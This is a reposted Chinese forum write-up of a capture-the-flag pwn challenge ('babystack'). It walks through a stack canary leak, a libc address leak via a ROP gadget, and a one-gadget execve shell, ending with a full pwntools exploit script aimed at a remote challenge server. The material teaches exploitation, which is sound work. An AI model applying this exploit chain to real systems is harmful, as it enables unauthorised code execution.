攻防世界pwn高手进阶区pwn1
2019-09-16 14:08:27 Author: bbs.pediy.com(查看原文) 阅读量:229 收藏

[原创]攻防世界pwn高手进阶区pwn1

6天前 493

0x00 查看文件信息


64位程序,动态链接,然后保护开的差不多了

0x01 静态分析

程序无system(),无"/bin/sh",但是程序有libc(有libc表示有获得shell的函数),这就比较好办了,
在libc中找以一下shell的地址

继续,分析main()

v8就是那个标志canary,程序有个输出puts(),有read(),并且read()有一个非常明显的溢出(s的大小只有0x90,但是read读取了0x100大小的数据)

然后程序要求输入1/2/3进行选择下一步的操作

0x02 思路

1

​ 需要利用puts()泄露出标志canary,标志canary在rbp的上面,也就是在s的底部,所以当我们输入0x88个字节 的时候,puts()就能够将标志canary输入出来

​ 上图为输入0x88个a之后的堆栈情况其中0x00007FFFF8B292A8处标志canary(这个不是真正的canary,下面会说明),0x00007FFFF8B292ABB为返回地址,继续运行程序能够得到标志canary
图片描述
需要注意的是:canary的真实值应该是0x502CB52AB5572700,而不是0x502CB52AB557270A,这是因为在我们输入0x88个'a'时还输入了一个回车,这个回车将标志canary尾部的'\x00'覆盖为'\x0A'。另外正是因为这个回车覆盖掉'\x00',才使得puts()能够输出标志canary,不然的话puts()在遇到'\0‘时就停止输出了

所以我们可以用以下这段代码获得标志canary

payload = 'a'*0x88
p.sendlineafter(">> ","1")
p.sendline(payload)
p.sendlineafter(">> ","2")
p.recvuntil('a'*0x88+'\n')
2

​ 在获得到标志canary之后,我们可以再次利用puts()泄露出put()的真实地址,这是为了应对ASLR

​ 由于是64位程序,所以需要一个gadget,这个可以直接找到

payload1 = 'a'*0x88+p64(canary)+'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.sendlineafter(">> ","1")
p.send(payload1)
p.sendlineafter(">> ","3")
puts_addr=u64(p.recv(8).ljust(8,'\x00'))

3

调用我们找到的execve("/bin/sh")

payload2 = 'a'*0x88+p64(canary)+'a'*8 + p64(execve_addr)

0x03 exp

from pwn import *
context.arch = "amd64"
context.log_level = "debug"

elf = ELF("./babystack")
p = remote('111.198.29.45','45381')
#p = process("./babystack")
libc = ELF("./libc-2.23.so")

execve = 0x45216
main_addr = 0x400908
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x0400a93

payload = 'a'*0x88
p.sendlineafter(">> ","1")
p.sendline(payload)

p.sendlineafter(">> ","2")
p.recvuntil('a'*0x88+'\n')

canary = u64(p.recv(7).rjust(8,'\x00'))

payload1 = 'a'*0x88+p64(canary)+'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.sendlineafter(">> ","1")
p.send(payload1)
p.sendlineafter(">> ","3")
puts_addr=u64(p.recv(8).ljust(8,'\x00'))

execve_addr = puts_addr - (libc.symbols['puts'] - execve)

payload2 = 'a'*0x88+p64(canary)+'a'*8 + p64(execve_addr)

p.sendlineafter(">> ","1")
p.sendline(payload2)
p.sendlineafter(">> ","3")
p.interactive()

若文章有错误处,还请指出

[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com


文章来源: https://bbs.pediy.com/thread-254373.htm
如有侵权请联系:admin#unsafe.sh